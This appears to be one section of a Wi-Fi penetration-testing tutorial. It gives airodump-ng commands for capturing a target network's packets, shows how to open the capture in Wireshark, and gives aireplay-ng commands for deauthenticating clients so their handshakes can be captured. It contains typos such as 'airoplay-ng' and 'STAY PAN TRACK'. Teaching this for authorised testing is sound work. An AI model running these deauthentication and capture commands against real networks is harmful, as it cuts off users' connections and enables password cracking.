<h2>Section 5: Pre-connection Attacks</h2>
<h3>1. Sniffing Packets on a Specific Target Machine</h3>
<p>To capture packets from a specific target machine, use the <code>airodump-ng</code> command. Follow the format below:</p>
<p><strong>Command Format:</strong></p>
<pre><code class="language-bash">airodump-ng --bssid [target Mac address] -c [target channel] -w [output filename] [wifi adapter <span class="hljs-keyword">in</span> monitor mode]
</code></pre>
<p><strong>Example Command:</strong></p>
<pre><code class="language-bash">airodump-ng --bssid 11:22:33:44:55:66 -c 2 -w <span class="hljs-built_in">test</span> wlan0
</code></pre>
<p>Replace the placeholders with the actual BSSID, channel, output filename, and your wireless adapter name in monitor mode.</p>
<h3>2. Inspecting Captured Files</h3>
<p>After running the command, you can list the files created by captured packets using:</p>
<pre><code class="language-bash"><span class="hljs-built_in">ls</span>
</code></pre>
<p>Look for files with a <code>.cap</code> extension, as these contain the captured packets of interest.</p>
<h3>3. Analyzing Captured Data with Wireshark</h3>
<p>To analyze the packet capture file, open it in Wireshark. You can do this directly from the terminal:</p>
<pre><code class="language-bash">wireshark [filename].<span class="hljs-built_in">cap</span>
</code></pre>
<p>Keep in mind that the data will be encrypted and will require decryption to view the contents.</p>
<h3>4. Performing a Deauthentication Attack</h3>
<p>A deauthentication attack allows you to disconnect a device from a network, prompting it to attempt reconnection and enabling packet capture of the handshake.</p>
<h4>Command Format:</h4>
<pre><code class="language-bash">aireplay-ng --deauth [number of deauth packets] -a [target router Mac address] -c [target client Mac address] [wifi adapter <span class="hljs-keyword">in</span> monitor mode]
</code></pre>
<h4>Example Command:</h4>
<pre><code class="language-bash">aireplay-ng --deauth 100 -a 22:33:44:55:66:66 -c 11:22:33:44:55:66 wlan0
</code></pre>
<h3>5. Important Considerations</h3>
<ul>
<li>
<p><strong>Handling Nearby Networks:</strong> If the target device has other known networks it can connect to, you might need to deauthenticate it from those networks as well. Use the same command structure as above.</p>
</li>
<li>
<p><strong>Running Multiple Commands:</strong> To ensure the success of the attack, it’s advisable to run <code>airodump-ng</code> in a separate terminal window while executing <code>airoplay-ng</code>. This provides real-time updates on connected clients.</p>
</li>
<li>
<p><strong>Stopping the Deauth Attack:</strong> To allow the targeted device to regain its connection, simply press <code>Ctrl+C</code> in the terminal running the deauthentication command.</p>
</li>
</ul>
<p><strong>Important Note:</strong> Remember to always be <strong>ETHICAL</strong> and <strong>STAY PAN TRACK</strong> because there are cyber acts out there, and unauthorized access to networks and devices is illegal in most jurisdictions. Always ensure that you have explicit permission from the network owner before conducting any network penetration testing or security analysis.</p>
